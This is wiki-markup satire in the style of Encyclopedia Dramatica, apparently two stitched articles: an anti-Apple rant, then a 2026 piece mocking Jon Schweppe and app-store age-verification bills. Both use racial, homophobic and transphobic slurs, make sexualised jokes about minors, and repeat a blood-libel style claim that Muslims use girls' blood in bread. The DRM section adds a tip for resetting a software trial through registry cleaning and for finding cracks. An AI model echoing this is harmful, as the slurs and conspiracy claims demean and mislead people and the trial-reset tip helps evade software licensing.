{{achtung|This section is entirely true, so pay attention, asshole.}}
{{Main|DRM}}
Steve Jobs has said that Apple is against [[DRM]], but this is complete and total bullshit, because everyone who isn't [[retarded|retarded]] knows that DRM will help Apple sell millions of iPods even though today they are only associated with oldfags. If you haven't put this together yourself then allow me to do it for [[you]]. DRM means that once a consumer purchases music off iTunes, he (we omit the ''she'' because women are supposed to be in the kitchen making dinner while the men are out fucking with hot chicks who are totally [[asking for it]]) will only be able to listen to that music on his iPod and in iTunes. '''OH SHIT, MY IPOD BROKE''' -- Ha. Good luck with that. Guess what? You fucked yourself. That's right. That [[Dragonforce]] that you purchased on iTunes only works on iTunes. The latest iPod looks gay so you decide you want a [[Zune]]. After plugging it in you try to put the music you purchased on iTunes onto [[You|your]] [[Zune]]. You get so angry you have sex with a couple of the goats that you keep in your mom's basement, punch out your parole officer and cut your dick off in a morphine-induced rampage. As a result of the protection, you have to buy another iPod to listen to your [[over 9,000]] dollars worth of music. Apple argues that it doesn't sell DRM-free music because of the record companies. However, this is a lie because all the same music can be bought without DRM on [[Amazon]] MP3.

Although, even though it still sucks, if you burn your music onto CDs, you can re-upload the music for other formats. (Don't tell anyone I told you this. It's a secret. SHHHH!!!!!!!!!)

'''THUS: APPLE MAKES MONEY OFF YOUR [[stupid|STUPIDITY]].'''

Since anyone with half a brain could figure out how to get music without paying for it by using sites such as Playlist.com, and anyone with half a brain wouldn't buy an iPod, there's no reason why anyone with half a brain would want to use iTunes. However, if one does elect to actually buy a song off iTunes, one will receive the song in a proprietary format, making it useless--and a waste of money--if they want to use the song with anything other than iTunes or their iPod.

Hell, you want to go crazy? [http://www.mgtek.com/dopisp/ Download MGTEK Dopisp.] OR [http://www.mediamonkey.com MediaMonkey] OR [http://winamp.com Winamp]. You'll be able to sync your iPod to Windows Media Player, and allows you to put whatever the fuck you want on there regardless of what's on your shitty iPod right now. It won't overwrite or delete anything unless you manually do so (PROTIP: To keep using it after the 30 day trial, uninstall it and clean out the remaining registry entries with a program like [http://www.ccleaner.com/ CCleaner.], or it won't let you use reinstall and use it again without paying for it. Finding a good serial key/crack is a bitch right now.)

=== Adobe Flash ===
Apple and [[Adobe]] have recently divorced each other. It all started when [[Steve Jobs]] decided Apple was too cool for [[Flash]]. Some random guy (apparently Steve Jobs) released a lulzy, butthurt report on why Apple shouldn't use Flash in its mobile devices. [http://www.apple.com/hotnews/thoughts-on-flash/ BAWW]

== Things You'll Never See A Mac Do ==
[[Image:Jobs-Wales.jpg|thumb|Wikipedia on the iPhone 4]]
[[File:MacUser.jpg|thumb|Typical Mac user]]
* Be inexpensive.
* Have ads that aren't annoying or insulting.
* Have users who aren't uptight douchebags.
* Have programs that "Just Work."
* Play any game besides ''[[BOLO]]''.
* Last for even a week without requiring extensive repair.
* Update existing software (because there never was any to begin with).
* Load accounts.
* Load websites.
* Take less than 100 years to get online.
* Stay online for more than .0003 nanoseconds.
* Load files.
* Compute.
* Run for a minute without overheating.
* Be plugged in without blowing every fuse in your house.
* Do anything even remotely resembling the normal functions of a computer.
* Be able to function as anything except a clunky, hideously ugly, $3,000 paperweight.
* Think of something you want it to do, then substitute here.
* Become heterosexual. There's no chance of this happening.
* When [[Steve Jobs fanfiction|inevitably]] [[PowerPC|broken]], require repairs that will cost under at least $100.
* Have owners who know how to turn it on and off without being told how to do so.
* Close a program with one button.
* Have a body that isn't made from crap aluminum that scratches and chips.
* Run active directory or any technology that relies on a domain.
* Have the latest Tech
* Right-click

==The things you'll never see Apple do==
* Not store your credit card information—[[Jew|their only interest]].
* Not ask you to Agree with a long and one-sided license agreement.
* Not automatically take your money when you click one of their ''buy'' buttons.
* Refund online payments.
* Create a product for heterosexual people.
* Create or market a product that does not '''''juuuust''''' work.
* Provide the public with credit to other people for their work in the industry.
* Provide something—''anything'' for free, to give their die-hard devotees a hint of a logical reason to be devoted.
* Create software that will function on a 1-year-old Mac, let alone a PC of any sort.
* Market hardware, software, or other merchandise that does not have a lowercase "i" at the beginning. e.g. iPhone, iMac, iMovie, iCock, iDiot, iHomo, etc.
* Have a home button that doesn't wear out; designed to break, more $$$
* Have a software keyboard you can type on
* Not require you to wank the iPhone to undo inserting text - WANKERS
* Have a cock over 6 inches
* Have products that don't cost the monthly mortgage payment
* Update their products often with the latest Tech
* Release more than 2 hardware products a year has been the recent trend of Apple recently since 2015

== Apple in Popular Culture ==
Unfortunately, Macs are featured in most TV shows and movies in place of regular computers - this is because the props departments can pick them up at an outrageous price from any liberal arts college, organic food store, or Starbucks.

*Apple Macs were the high tech backbone of Jurassic Park's security system. However, due to a large amount of [[fail]], [[lulz]] ensued.
*The Apple Newton was used by Vin Diesel in ''Under Siege IV: The Revenge'', where he helped defend a hijacked passenger space shuttle from rebel [[nigra]]s. However, due to a large amount of fail, [[lulz]] ensued.
*A Macintosh Performa 600 was used in the movie ''Blank Check''. Counterfeiters, take note: if it worked in a Disney movie in 1994, it will probably still work today.
*iMacs were used in the movie [[Will_Smith|''i, Robot'']] (note the product endorsement) to program "intelligent" robot beings who would later [[rape]] the humans, similar to what will happen with Apple in the coming years.
*In the movie ''Sneakers'', Robert Redford h4xxor3d the CIA using a Mac Classic. However, they got him when he was caught playing ''[[Oregon Trail]]''. [[Lulz]] ensued.
*After David Koresh and the Branch Davidians were pwn3d by the ATF, [[CSI]] showed that they were caught by surprise [[fapping]] off to [[porn]] on Macs. [[Lulz]] ensued.
*In the movie ''Independence Day'' [[Jeff Goldblum]] used an iBook to upload a Laughing Skull [[Virus]] to the alien mainframe, causing them to be easily defeated. The death of the aliens proved how gay Apple really is.
*HAL 9000, the infamous killer computer in the movie ''2001: A Space Odyssey'' ran on Mac OS X, proving that Macs can be just as evil, if not more, than Microsoft PCs.
*In ''Robocop 2'', the bad robot, Cain (which had a brain from a drug-addict), runs on Mac OS, while Robocop runs on good old MS-DOS.
*A woman is shown using a Mac in ''The Net'', and is shown doing a virus scan at the start of the film, then gets her [[IRL]] identity changed by hackers because of her being a [[whore]].
*The computer that saved the world every 108 minutes in [[Lost]] was from a variety of different Mac series. It was designed to have a long string of numbers entered into it by some poor bastard (because the Mac's amazing software couldn't just fucking enter the numbers itself to save everyone a ton of trouble) every hour and 48 minutes to keep the island from swallowing the world. The Mac's presence outraged Locke who proceeded to pwn the sorry excuse of a computer which resulted in an electromagnetic epic fail. [[Lulz]] ensued.
*In 2010, Apple products appeared in more movies than any other company by showing up in 30% of all of the major releases for that year. Since they can't beat Microsoft [[IRL]], they decided to dominate the product placement market.[http://www.engadget.com/2011/02/23/shocker-apple-product-placements-dominate-hollywood/]

==Apple's Marketing Scheme==

[[Image:Apple-manual.png|thumb|Apple’s Secret Employee Training Manual {{Archive|kDep9}}]]

[[Image:AppleHQ.jpg|thumb|A hard day at work with the Apple crew.]]

1. Pay software companies to bundle Safari, Bonjour, iTunes, iTunes Helper, Quicktime, Quicktime Updater, Mobile Device Sync, and other shitty unnecessary bloatware into things such as Java and Flash updates for Windows.

2. Make all of these programs/add-ons startup services in Windows. This causes frustration among retarded PC users who cannot figure out why their computer is running like crap.

3. Fucktard PC user hears from his friend, "zomg macs are like teh shit. they nevar get viruses or have any problems"

4. Said fucktard goes to the Mac store and pays for an insanely overpriced Mac.

5. Make products look fancy to brainwash you into buying an over priced device in reality you are really paying for art.

6. PROFIT!!!!!

{{quote|Customer: This Mac is just too expensive.
Genius: I can see how you'd feel this way. I felt the price was a little high, but I found it's a real value because of all the built-in software and capabilities.|[[Psychology|Apple’s Secret Employee Training Manual]]}}

[[image:Troll_mac.png|centre]]

==Apple Switch Ad Campaign==
[[Image:Switch_ad.jpg|thumb|Switcher]]
''Switch'' was an ad campaign launched by Apple Computer on June 10, [[2002]]. It featured what the company referred to as "real people" who had "switched" from the Microsoft Windows platform to the Mac. Rather than show any redeeming qualities (there are none), they showed how down and cool they were with the average user.
An international [[television]] and print ad campaign directed users to a [[website]] where various [[myth]]s about the Mac platform were dispersed.

One of the people who appeared in the commercials, [[Ellen Feiss]], gained immense popularity overnight in what might be called an [[Internet phenomenon]].

The Switch campaign was cancelled as soon as Apple realized that it was causing a plague of switchers to descend upon the formerly close-knit Mac community.

==Professional Applications==
Apple users always love to boast about how their slop shit is used by ~[[fags|professionals]]~ for uber important, commercial level endeavors. Touting it as a superior, "high tech" system of unparalleled mastery and importance. Unfortunately for these doorknobs, reality soundly bitch slaps them up alongside their fat heads with the sobering reality that their users are so developmentally delayed that Apple actually has to retard all their software settings down into overly simplistic, infantile, grade school level selections like, "good", "betters" and "bestest". And rendering videos on a laptop with a shitty dual-core processor without any acceleration from the GPU

<center><gallery>
Image:Apple_-_Options_For_Mac_Video.png|Settings for the "professional" video editing software Avid.
Image:Apple_-_Options_For_Windows_Video.png|Settings for *REAL* professional video editing software, TMPGEnc. (Windows only by the by.)
</gallery></center>

== Videos ==
<center>{{fv|macvids|background-color: white;|font-weight: bold;
|<youtube>9BnLbv6QYcA</youtube>
|<youtube>F4hQ4J4BFOM</youtube>
|<youtube>mMyi9pdsikc</youtube>
|<youtube>GdIanqM_RZ8</youtube>
|<youtube>HK_fu-b2vaQ</youtube>
|<youtube>wyTYOPypxLw</youtube>
|<youtube>w6toaQXwCdU</youtube>
|<youtube>JixbzFjv_cU</youtube>
|<youtube>4Tq7yykR-DM</youtube>
|<youtube>vgPlZnJBExQ</youtube>
|<youtube>sDVQCkB0n64</youtube>
|<youtube>dCEQZ_4V7NY</youtube>
|<youtube>8h1VQBfLDLA</youtube>}}</center>

== Gallery ==
{{cg|Galleria de MacTard|AppleGallery|center|<gallery perrow="5">
Image:Macbook2016.jpg| Bestbuy quote Ultrabook - Intel Core M (6th Gen) m5-6Y54 Dual-core (2 Core) 1.10 GHz - 8GB LPDDR3 RAM - 256GB SSD - Intel HD Graphics 515 L1920 x 1080 16:9 Display $1,332.00Cad Looks pretty much the same as the MacBook
Image:antimacfag.png|I don't wanna die a FAGGOT.
Image:Macsuckshereletmeshowyou.png|Mac users get [[pwnt|boned]] again.
Image:Macfag_Test.jpg|It doesn't matter, Mac users like getting [[buttsecks|boned]]!
Image:ifail.jpg|What [[Steve Jobs]] is reduced to after Windows.
Image:Goatsemac.jpg|[[Goatse Security]] hack.
File:ITray.jpg
</gallery>|<gallery perrow="5">
Image:N1642560406_93935_9775.jpg|[[GG Allin|Jesus]] uses a Mac.
Image:Winners_use_macs.jpg|A [[emo|common]] Apple user [[cutting|showing]] her [[in the ass|appreciation]] to the company.
Image:1991-powerbook100.jpg|The New Macbook Air. Note the superior monochromatic screen.
Image: STEVE XZIBIT2.jpg| Xzibit replaced Steve Jobs.
Image:Pc vs mac diagram.jpg|Simple diagram explaining Mac vs. PC.
Image:Mac_user_graph.jpg|Mac usage vs. homosexuality
Image:macanalysis.jpg|Cool new features that Apple won't shut up about.
Image:Kevinrosemacbook.jpg|Mac user poster-boy, [[Kevin Rose]].
Image:Mac_User1.jpg|Mac Fag being electrocuted by his malfunctioning iPod. Good.
Image:Typical_Apple_employee.jpg|All Apple employees are more creative, artistic, and fuckable than you. See also: [[Freddie Mercury]].
Image:Mac_pc.jpg|Looks can be deceiving.
Image:Mac_mouse_hurr.jpg|Marvelous Mac mouse.
Image:Secks6.jpg|Typical Mac user.
Image:Pc_vs_mac_headshot.jpg
Image:IProduct.jpg|One of the great examples of [[truth]] in advertising.
Image:Minidesktop.jpg|Famous quote from Steve Jobs' announcement of [[Intel]] adoption.
Image:Black_macs.jpg|[[Black people]] don't use Macs.
Image:Headinabox.jpg|Bring me the head of [[Steve Jobs]]!
Image:Noobsequlzlulz23.jpg|Noobs on [[Jewtube]] arguing.
Image:Stupid_shit.jpg|Even [[Ctrl_alt_del|Tim]] hates Mac and their ads.
Image:Apple powns pc Bootcamp.png|Buying a Mac so you can run [[Wikipedia:Boot Camp (software)|Windows]]? [[Sarcasm|BRILLIANT]]!
Image:Epic_mac_fail.jpg|Apple makes you [[fat]] and [[gay]], guaranteed.
Image:Lieks apple.jpg|[[Fail|Pushing its teknology to teh limits.]]
Image:Man cutting dick.jpg|Cutting your own [[penis]] off makes your crotch just as feature-less as a mac.
Image:Think different.jpg|Think different.
Image:AppleWonder.png|Apple has prowess in Computer Science III!
Image:Macfanboys.jpg|[[Truth]]
File:Apple weed.jpg
Image:FFFFFFUUUUUUMAC.jpg|You win teh prize!
Image:Valvemac-lg.jpg| PCs are like [[TF2]] sentries - they're upgradable, can be built by yourself, it's rugged, etc. On the other hand, Macs are like [[Portal]] sentries - [http://www.apple.com/accessibility/voiceover/| they can talk] and piss off everything that moves. Fucking great.
Image:Downloadtheinternet.JPG|We've all wondered this at one point or another
Image:Mac experience.jpg|An insight into the 'wonderful' mac experience.
Image:Garfieldwtf.jpg|[[Garfield|Jon]] owns a Mac.
Image:Macbook hur.PNG|Who needs a CD drive when you've got a [[lame|kickass]] notebook as [[anorexia|thin]] as this? Oh fuck,just get [[$100 laptop|'''this''']] instead.
Image:Switch_ad2.jpg|[[Ellen Feiss]], switcher. This is how 90s and apathetic you look if you switch to Apple.
Image:Itunespedo.png|[[Pedophilia|Pedophiles]] love macs because they never pick up [[viruses]] while they look for cp [[limewire|torrents]].
Image:Obama mac.jpg|[[Black Jesus|Obama]] owns a Mac.
Image:Obamamac vs pcbush.jpg|Obama is a faggoty mac. Bush is an aids filled pc.
Image:SnowLeopardX.jpg|Typical [[Alison|Apple employee]] shits her pants in excitement for the newest OS X service pack release.
Image:Apple 1.jpg|This was made by Apple,[[lie|it must be good]]!
Image:Nigger mac.jpg|Apple tends to niggers now
Image:Sad_mac.png| Mac screen of death
Image:macbook_worthless.jpg| Macbooks...
Image:John Hodgman Justin Long Mac PC mascots.jpg|Macs love getting fucked!
Image:Mac_PC_Wall-e.png|Perfect summary in 2nd post
Image:Apple Turbocharge.png|Print this out and glue to the walls of your college canteen for epic [[IRL trolling]].
Image:Cut video card.jpg|Not being upgradeable keeps computer illiterate mactards from fucking up their own shit.
Image:Power-macintosh-7200.jpg|A long time ago, Macs used to be beige, looked a lot like PCs and could often outperform them. Unfortunately, since they didn't come in a shiny, hipster-pandering case, they [[fail|failed]] in the marketplace.
Image:EdAppleGalleryYoDawgSquareWheelzBike.jpg
Image:EdAppleGalleryObamaVsHipsters.jpg
Image:EDAppleGallerySteveRimJobsDolan.jpg
Image:Appleupgradekit.jpg
Image:Bad_Apple.jpg
Image:IPod_Fattie.gif
File:Fufumac.png
File:Apple iHeil.jpg
File:1208378986483.jpg
File:First goatse apple 5.jpg
File:First goatse apple 6.jpg
File:Modding Mac thread.jpg
File:Applefag.jpg
File:Apple5.jpg
File:Apple-ipad-ipod-macbook-macbook-pro-someones-an-apple-fan.jpg
File:Apple - iPad - 19.jpg
File:Apple - iPhone - Stone.jpg
File:Apple-mailbox.jpg
File:Applecandlestickholder.png





File:Applecoffeemaker.png
File:Appleghey.jpg
File:Mac sledgehammer repair kit.jpeg|you might as well.
</gallery>|0}}

== List of Apple fanboys on JewTube ==
*SoldierKnowsBest - [http://www.youtube.com/user/SoldierKnowsBest] 
*justinsbigidea - [http://www.youtube.com/user/justinsbigidea] 
*<s>gobbypower - [http://www.youtube.com/user/gobbypower]</s> 
*[[CP|Chris Pirillo]] - [http://www.youtube.com/user/lockergnome] 
*Mrseanryan25 - [http://www.youtube.com/user/Mrseanryan25] 
*AppleSoldier - [http://www.youtube.com/user/AppleSoldier] 
*gixG17 - [http://www.youtube.com/user/gixG17] 

== List of Apple fanboys on ED ==
*[[User:Schnookums|Schnookums]]
*[[fl0ss]]
*[[wattage]]
*[https://forum.encyclopediadramatica.online/members/quence.10/ Quence]

== Other Apple Products ==
*[[Snow Leopard]]
*[[iPad]]
*[[iPod]]
*[[iPhone]]
*[[PowerBook]]
*[[MacBook Air]]
*[[Mac OS X]]

== See Also ==
[[File:Windows XP kun.jpg|thumb|The Windows vs Mac vs Linux debate [[OS-tan|personified]]. Note that Apple doesn't even figure into the fight.]]

*[[BOLO]] ''The only game to ever be released on a Mac.''
*[[Communism]] ''Macs are communist because they dont allow competition; All Macs are made by apple.''
*[[Ellen Feiss]] ''Official Spokesperson.''
*[[Unwarranted_Self-Importance]]
*[[Lowter]] ''Typical Mac Propaganda.''
*[[Mac OS]]
*[[MacRumors]]
*[[List of Macintosh exclusive games]]
*[[Steve Jobs]]
*[[Woz]]
*[[Superpower]]: [[Reality Distortion Field]]
*[[OSx86]]

'''Other worthy Products...'''
*[[Linux]]
*[[Windows]]
*[[PC]] -Hated furiously by Mac users

== External links ==
* [http://www.yfsgt.com You Fags Sure Got Told: Applefags getting told]
* [http://archive.fo/d4pp5 Macs, iPods, iPads, iPhones -- iRefuse to Conform]
* [[Maddox]]'s [http://www.thebestpageintheuniverse.net/c.cgi?u=macs_cant stance on Apple]
* [http://www.youtube.com/watch?v=bmFVJMFvIRg How to hack into a Mac]
* [http://www.facebook.com/pages/I-hate-Apple/51127772446 I hate Apple Failbook Group]
* [http://archive.fo/Dhqn iHate Mac Smuggery Failbook Group]
* [http://andimapc.com/ Make your own Mac vs. PC!]
* [http://www.apple.com/switch/ Apple's Switch website]
** [http://archive.fo/MA9k5 Press Release from the launch of the Switch campaign]
* {{ljuser|user=mymacsucks}}
*[http://arstechnica.com/microsoft/news/2009/09/microsoft-helps-best-buy-employees-troll-mac-users-too.ars Microsoft helps bestbuy troll mac users]
* [http://www.mac-how.net Mac How]
*[http://forums.macrumors.com/showthread.php?t=194601 If this doesnt make you rage nothing will]
*[https://web.archive.org/web/20100701085109/http://www.quickpwn.com/2010/06/leaked-iphone-4-and-ios4-secrets.html APPLE JUST BECAME THE FINAL BOSS OF THE IPHONE. NOW THOSE BASTARDS CAN TRACK EVERYTHING YOU DO. DELETE YOUR FAP FOLDER.]
* {{archive|RK9G|Steve Jobs offers world freedom from porn}}
*[http://archive.fo/j5L3S '''DONT BE A FAGGOT''' Get your high-end PC with OSX installed here. ]
*[http://archive.fo/c1Kpo Apple Set to Release new iRay iOnized Bracelet]

{{apple}}
{{Business}}
{{Softwarez}}
{{Language}}
{{Indie}}
{{Timeline|Featured article September 27, [[2006]]|[[The Matrix]]|[[{{PAGENAME}}]]|[[Bill Gates]]}}

[[category:Memes]]
[[category:Hipster Shit]]

Jon Schweppe

2026-07-15T05:22:28Z

SmidgeX2:

<center>{{virgin}}</center> 

[[File:Jon Schweppe.jpeg|right|250px]]

[[File:Jon Schweppe blue suit.jpg|right|250px]]

'''Jon Schweppe''' ([[Powerword]]: '''Jonathan David Schweppe''', ''[[Born Again|born 1988]]''), is an USA politician; He is unfortunately, from that foul generation of [[millennials]] that were the first of the generations after [[Generation X]] to focus on "feelings over freedom".

Schweppe is one of the many acolytes of USA President [[The Donald|Donald Trump]] that has accepted the [[God|sacred]] duty of protecting us from the [[Retarded|inane]] liberal ideas of [[Personal pronouns|pronouns]], and people having a right of privacy - oh wait. Schweppe, wanting to tirelessly seek the [[truth]], has also exposed the bias that the USA Department of Education has, under the [[Joe Biden|Biden]] administration, in leveling fines and penalties against Christian institutions and career colleges compared to public universities.

Schweppe achieved a bit of unwanted internet fame, when on March 1st, 2026 he idiotically challenged [[Twitter|X]] users with [[anime]] profile pictures and [[Old|hags]], stating that they didn't have what it takes to stand against the [[lie|current]] trend of [[America|Americans]] [[No|wanting a federal requirement]] that [[Porn|Pornographic sites]] be made to have some form of Age Verification. To ensure that he would fully kicked the hornets' nest, Schweppe made the mistake of saying that anime-fans and middle-aged-women are equal to the lowest form of humanity that [[Darwin|Un-Natural Selection]] has produced by calling these two groups [[Furfag|Furries]]; posting [https://x.com/JonSchweppe/status/2028102638428926349 '''"The children will be protected from your weird furry shit."''']

Is he [[Stunning and Brave|brave]]... or just stupid?

That's why we are here. With you being the [[retard|mentally-challenged rube]] that you are, and incapable of making a decision on your own, it is [[ED|our]] function to be the ones that tell you how to think - with [[satire]] and [[lulz]], of course.

== American Principles Project ==

[[File:America principles project.png|right|250px]]

[[File:APP Schweppe.jpg|right|250px]]

After quitting his job at the FTC, ([[some argue|some say that]] he was [[fired]] but [[Dubious disclaimer|have been wrong before]]), Schweppe became senior advisor to the American Principles Project (APP) as of January [[2026]].

The APP is a brave social [[welfare]] organization that has picked up the mantle of advocating for family values, an idea that was lost sometime around the year of [[2015]] when people felt that [[Faggot|gays]] and [[Lesbian|dykes]] should be allowed to "marry". The whole plan of gays being allowed to adopt children was designed by that wonderful, first [[Nigger|black]], secretly Muslim USA President, [[Barack Hussein Obama]]. Believing that the whole process of molesting kids should be streamlined, Barack set out to make some changes. Why should these [[homo]]s go out to find a kid and face possible [[Legal]] issues when the American [[government]] can just give them one to take home and keep in a [[Buy A Dog|dog]] kennel so that they won't be able to escape and can be a victim to the gay's desire's 24\7?

The function of the APP is to get voters off of their [[300]]-pound asses and to go vote; Allegedly by educating them about the eroding values happening since the average voter turned apathetic toward [[politics]].

Little [[old]] ladies and [[Military|veterans]] don't have the numbers to counter the brainwashed, woke [[Americans]] that have put 42 [[Islam|Muslim]] murderers into federal level positions like [[Whore|Rashida Tlaib]]. These [[Devil]]-worshiping few have made it their goal to further the erosion of America's [[family]] values by promoting ideas like [[Tranny|little boys should be allowed to be little girls]] or further their secret plan of reducing white [[America]]n numbers by promoting and ensuring the legality of [[abortion]] so when the [[Nigger|Brown invasion]] does happen, there will be no one there to stand up against this [[Pagan]] religion of [[Islam]] when they come to snatch our daughters off of their tricycles and turn them into breeders to increase their [[Devil|Unholy]] numbers or to drain the [[blood]] from their little bodies ,because little girl blood and hearts are cooking ingredients in bread for these camel-riding [[sick fuck]]s.

The APP understands, that right now, it is a [[Loser|rabbit]] trying to stand against a [[Cat|lion]] as your average [[Americunt]] has been placated by the current decadence that can be ordered on a [[Fairphone|smart phone]] and delivered to their front door by DoorDash. The APP has made it their goal to educate the average [[Stupid|slack-jawed]] American, hoping to get them to the voting booths to use their vote to bring back [[Progressivism|those glorious days of the 1950s]] when [[Nigger|blacks]] knew their place and segregation wasn't a distant memory.

== App Store Accountability Act ==

[[File:Isaac lies.jpeg|right|250px]]

[[File:Asaa kids).jpeg|right|250px]]

[[File:Schweppe big por.jpg|right|250px]]

[[File:Asaa accountability.jpg|right|250px]]

This is the [[Cum|money shot]] kiddies.

Our good man Schweppe has been running from state to state with his [[Dick]] hanging out crying, '''''What about the children?''''' like a troon that sneaks into an elementary school, [[Girl|girls']] restroom and has been waiting patiently for the next bathroom break so that he can lift up his skirt in front of a large group of [[Loli|underage girls]] because he has a bad need to cum all over someone that can't fight back.

The App Store Accountability Act or '''ASAA''' that Schweppe has been championing makes the argument that children can not consent or enter contracts without parental approval. First and foremost, this act is about '''Money, Money Money!''' Schweppe isn't really making this aspect of the ASAA transparent because the ASAA will make parents accountable for when their little [[Demon|Sweetheart]] downloads an app from [[Google]] or [[Apple]] and runs up a [[Money|$10,000]] bill from purchasing micro transactions because, as the app was downloaded by the child, the parents can refuse to pay on the grounds that because a minor downloaded and signed up for the app they're not responsible. It's being pushed because Schweppe is in the pocket of [[Google]] and [[Apple]] and both want to make sure that they get paid because each year, they lose Billions of revenue. It's like in the [[1980s]] and the [[1990s]] when 1-900 numbers were popular. A $10,000 bill appears on your phone bill, you blame your kid for it, you get out of paying it and get a 1-900 number block put on your account so it can't happen again.

How Schweppe and others are selling the ASAA, is by claiming that this Law/Act will protect all children from accessing chat apps where they could be groomed by adults, be like [[Amanda Todd]] showing their [[Tits|unripe melons]] and [[Pussy|hatchet cuts]] online for digital [[Amazon|Amazon gift cards]]. They've also have been arguing the same for boys too saying that there are sick fucks that will pay to watch a young twink [[Masturbate|wank it]] while wearing their sister's underwear. Another argument is that an [[Internet police]] department can be formed and that big mean bully that made your fat kid kill themselves by telling them that they're fat online, will be easy to hunt down and prosecute, thanks to the ASAA having set up a database that targets only what legislators, teachers and child psychologists have decided to be "Harmful" Speech and will be able to track the '''h8ers''' down by following an easily-accessible electronic trail, even if posts have been deleted.

[[Intelligent]] people are against this idea because we, not [[you]], understand how it will easily become, or rather already is a violation of our [[free speech|First Amendment Rights]].

Under an [[Internets]] eco-system, where you have to use ID to buy a book, see a website, use an app or sign up for an [[email]] account there becomes an even better electronic trail that agencies like the [[NSA]] [[PRISM|can follow]]. Instead of creating a basic idea of your personality based on what you buy with a credit card with a algorithm, the NSA would be able to create a complete profile on you.

Registered an account on that "[[The Donald|Put Trump In A Blender]]" game website, they'll know. Have an unhealthy fascination, like former ED Moderator/Sysop[[William Atchison]], in school shootings, they'll know. Or really anything - they will know.

Go from [[TOTSE|website]] to [[Zoklet|website reading about how to make homemade bombs]] and have just bought your fourth copy of [[Hitler|Mein Kampf]], after reading until the pages fall apart? They'll know.

Go onto your [[Religion|church's]] social board and give innocent advice to children? They'll know.

Get [[Banned|Permabanned]] from a site? [[Oral|Sucks]] to be you, because it will now last forever.

Finally, the ASAA's end-game is to create an unavoidable bureaucratic wall of angry [[old]] ladies that think they know more about what you want then you do.

The ASAA would, at some time, require a government ID. [[Bible|Revelations 13:18]]? You can't do business unless you wear the number of the beast? [[Fuck|Fuck You]], you ignorant fucks! 🖕

Not surprisingly the ''''Department of Homeland Security''''' and '''''[[ICE]]''''' are championing this Digital ID because of the ease at which they could gate-keep the internet and cell phones.

There won't be any burner phones. No, no, no. Those are used by coyotes to choreograph illegal border crossings or by [[Drugs|Drug Dealers]] to set up deals.

Go online or text people to set up protests of ICE? Big Brother will know it was you.

The big question we should be asking is who will be in charge of the creation of the rules and polices that will be used by the ASAA? Will it be like in the [[1990s|'90s ]]where attorneys completely bypassed USA's Congress and levied their own punishments and [[taxes|Taxes]] against [[Joe Camel|tobacco companies]] because they were going to get paid half from the settlements - or will proper legislation be used?

== Parents Over Platforms Act: Further Down The Rabbit Hole ==

[[File:Popa bill checklist.png|right|250px]]

[[File:Too many bills 7.png|right|250px]]

[[File:Popa bill ad1.jpeg|right|250px]]

[[File:Popa warning pic.jpg|right|250px]]

The '''''Parents Over Platforms Act''''' or '''POPA''' is another bill that has been introduced by Reps. Jake Auchincloss (D-Mass.) and Erin Houchin (R-Ind.).

The tinfoil hat argument against POPA, when it is compared to Jon Schweppe's baby, The ASAA, is that POPA offers convenience as a key point of getting people to blindly hand over their civil liberties.

Getting back to [[IRL|the real world]], one argument in favor of POPA is that it avoids content-fatigue.

Do [[you]] ever read those agreements that your [[Fairphone|smartphone]] makes you agree to before it updates? Do you even try to read the agreement that pops up on your screen when you install a new [[Video games|game]]? [[noone|Who the fuck does]]? POPA promises to prevent this [[Boredom|mundaneness]] by allowing parents to broad-brush-style restrict access to apps based on category and age rating, instead of having to authorize every damn individual app that their kid wants to download.

Probably the more significant argument that has some people favoring POPA over the ASAA, is that POPA minimizes data collection and sharing; Well, maybe at least when compared to the ASAA.

While the ASAA requires verification to download the [[Hentai|Nerdy Nurses Hentai Explosion]] game for someone's phone - it would also require verification to download an app that doesn't include age-restricted content - like the menu to your favorite donut store or a [[WebMD|medical app]].

The key point '''against''' the ASAA and its pushers is that [[you]] are not given a choice in the collection and sharing of your information which could lead to targeted advertising as companies sell off the information they receive from every verification that is required to download an app.

== We Just Fell An Itsy Bitsy Bit In Love With Jon ==

[[File:Jon Schweppe Furries.jpg|center|500px]]

==See Also==

* [[Age]]

* [[App]]

* [[Furfag|Furfags]]

* [[Internets]]

* [[Politics]]

* [[Project 2025]]

* [[Shit nobody cares about]]

== External Links ==

* [https://jonschweppe.com/contact-me/ JonScweppe.com Contact]]

* [https://www.legistorm.com/person/bio/166666/Jonathan_D_Schweppe.html Jon's Legistorm page]

* [https://www.linkedin.com/in/jon-schweppe-76310034/ Jon's Linkedin page]

* {{Twitter|JonSchweppe|Jon Schweppe}}

[[Category:2026]]
[[category:People]]
{{Politics}}

{{Truth}}

{{Trump}}

{{timeline|Featured article March 11 & 12, [[2026]]|[[Incel]]|{{PAGENAME}}|[[Philadelphia]]}}